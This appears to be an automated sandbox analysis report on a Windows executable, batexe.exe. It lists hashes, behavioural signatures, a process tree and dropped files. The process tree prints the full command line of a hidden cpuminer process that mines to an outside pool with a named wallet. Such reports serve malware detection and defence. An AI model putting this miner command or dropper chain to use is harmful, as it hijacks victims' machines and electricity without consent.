73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 00:55

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1408	b2e.exe
1300	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1300	cpuminer-sse2.exe
1300	cpuminer-sse2.exe
1300	cpuminer-sse2.exe
1300	cpuminer-sse2.exe
1300	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1692-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 1408	1692	batexe.exe	85
PID 1692 wrote to memory of 1408	1692	batexe.exe	85
PID 1692 wrote to memory of 1408	1692	batexe.exe	85
PID 1408 wrote to memory of 4732	1408	b2e.exe	86
PID 1408 wrote to memory of 4732	1408	b2e.exe	86
PID 1408 wrote to memory of 4732	1408	b2e.exe	86
PID 4732 wrote to memory of 1300	4732	cmd.exe	89
PID 4732 wrote to memory of 1300	4732	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Users\Admin\AppData\Local\Temp\6FB2.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6FB2.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6FB2.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\72DE.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4732
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6FB2.tmp\b2e.exe

Filesize
17.4MB

MD5
92f14bdf745ee2c809eae36aad05e46a

SHA1
c014fb243efdb8c2888eff53726090b08e88544f

SHA256
10e14f1a726752bc5337c783bb0f6923bb3077f60a0f076e26f10ce98aa22495

SHA512
78aabe934dedfbde8ed2b152a424998cf2f5bc61dfa9582d7919fffb38c1ebace4c7e4374565f292fda838816bc760002940649ea0b4ff642b52d91358609997

Download Submit
C:\Users\Admin\AppData\Local\Temp\6FB2.tmp\b2e.exe

Filesize
7.1MB

MD5
1d09b383f18512d40b7a2389dd3f5a20

SHA1
abb4e28434afb26cd3e411950faa98299a3c7aca

SHA256
ca0567b29e7b9419a7693b79076fe420d4335a599ca6c5d998e6df47c85a1000

SHA512
14c73fdc042c083da9eefd8d077639caeb815f312e949818129d851c88191260eaca2de23098a694e4530835580da21283c2f340e23116b16b82d2eef5ad363f

Download Submit
C:\Users\Admin\AppData\Local\Temp\6FB2.tmp\b2e.exe

Filesize
6.8MB

MD5
24f7200552057a0c74a21aed5134615a

SHA1
ad093ed94661c9b45d1e640e8cce70bf5e01e778

SHA256
8b3c85e156ca75b46afca5bac8f6886a9234c7d4cde5ec1b95c929baf7b4925c

SHA512
4f1fb9226baf891bd139c46a180709623392fc843b9169023ba2b547faf8ae168d23d9e007be15bc156b922b293850c666e20f481711d55d01e6f1e9ba7a01d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\72DE.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.7MB

MD5
788fe8bb43db0d6fdba1d3b3d6bbc990

SHA1
5e627d8142acd0b5e42838a8f76bfa1397100610

SHA256
1b8c71e39857b6a9224465fc2ef90853d963a586d4c695c62eea2fa63ca84097

SHA512
acf2f607c27d959708d27c78653a9f8a3d10b507dfe50bd65662abacbf1b55ef489eec95ea262ddd9399c2f4b56330455da4ffaf7ab3176adabd4ffcc73b6a67

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.3MB

MD5
b1ca43fd8fd8e1be1561ff53a93a2c19

SHA1
89f7bd2516da93bef128f2a6f9e6d2208fd9adb3

SHA256
7e895b74dee4f3f75d108dab1331c7333a44abc174552edcc45eb584c262b1c8

SHA512
b387423470ca95b1fc00c2ff3bd9918f0886f2405b4b9886680f870fce6384c92242dc80bd0654458abf5ba01d3f365aeb6f37e490127564b578443fe2ab48c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.8MB

MD5
bce19c35eef21c32ef004bb594cd1468

SHA1
9cc25f5cef05ebfc8805d9bd86bb61e8c807e5fb

SHA256
6e1ae78432f59e44b0b17d123840965f4ed0030086ae591be4d822476c10e0e9

SHA512
6816c31ea90451c20de3fef102d9a1068660d8881afbbf62b175f0f77630f1d84c7a66bf1aa2fa5b1aadc4b34a17e90791e6a3c9ada1a31cd17d81c1c4be642f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1300-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1300-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1300-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1300-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1300-46-0x00000000747F0000-0x0000000074888000-memory.dmp

Filesize
608KB

Download
memory/1300-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1300-47-0x0000000001080000-0x0000000002935000-memory.dmp

Filesize
24.7MB

Download
memory/1300-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1300-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1300-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1300-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1300-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1300-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1300-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1300-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1408-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1408-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1692-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download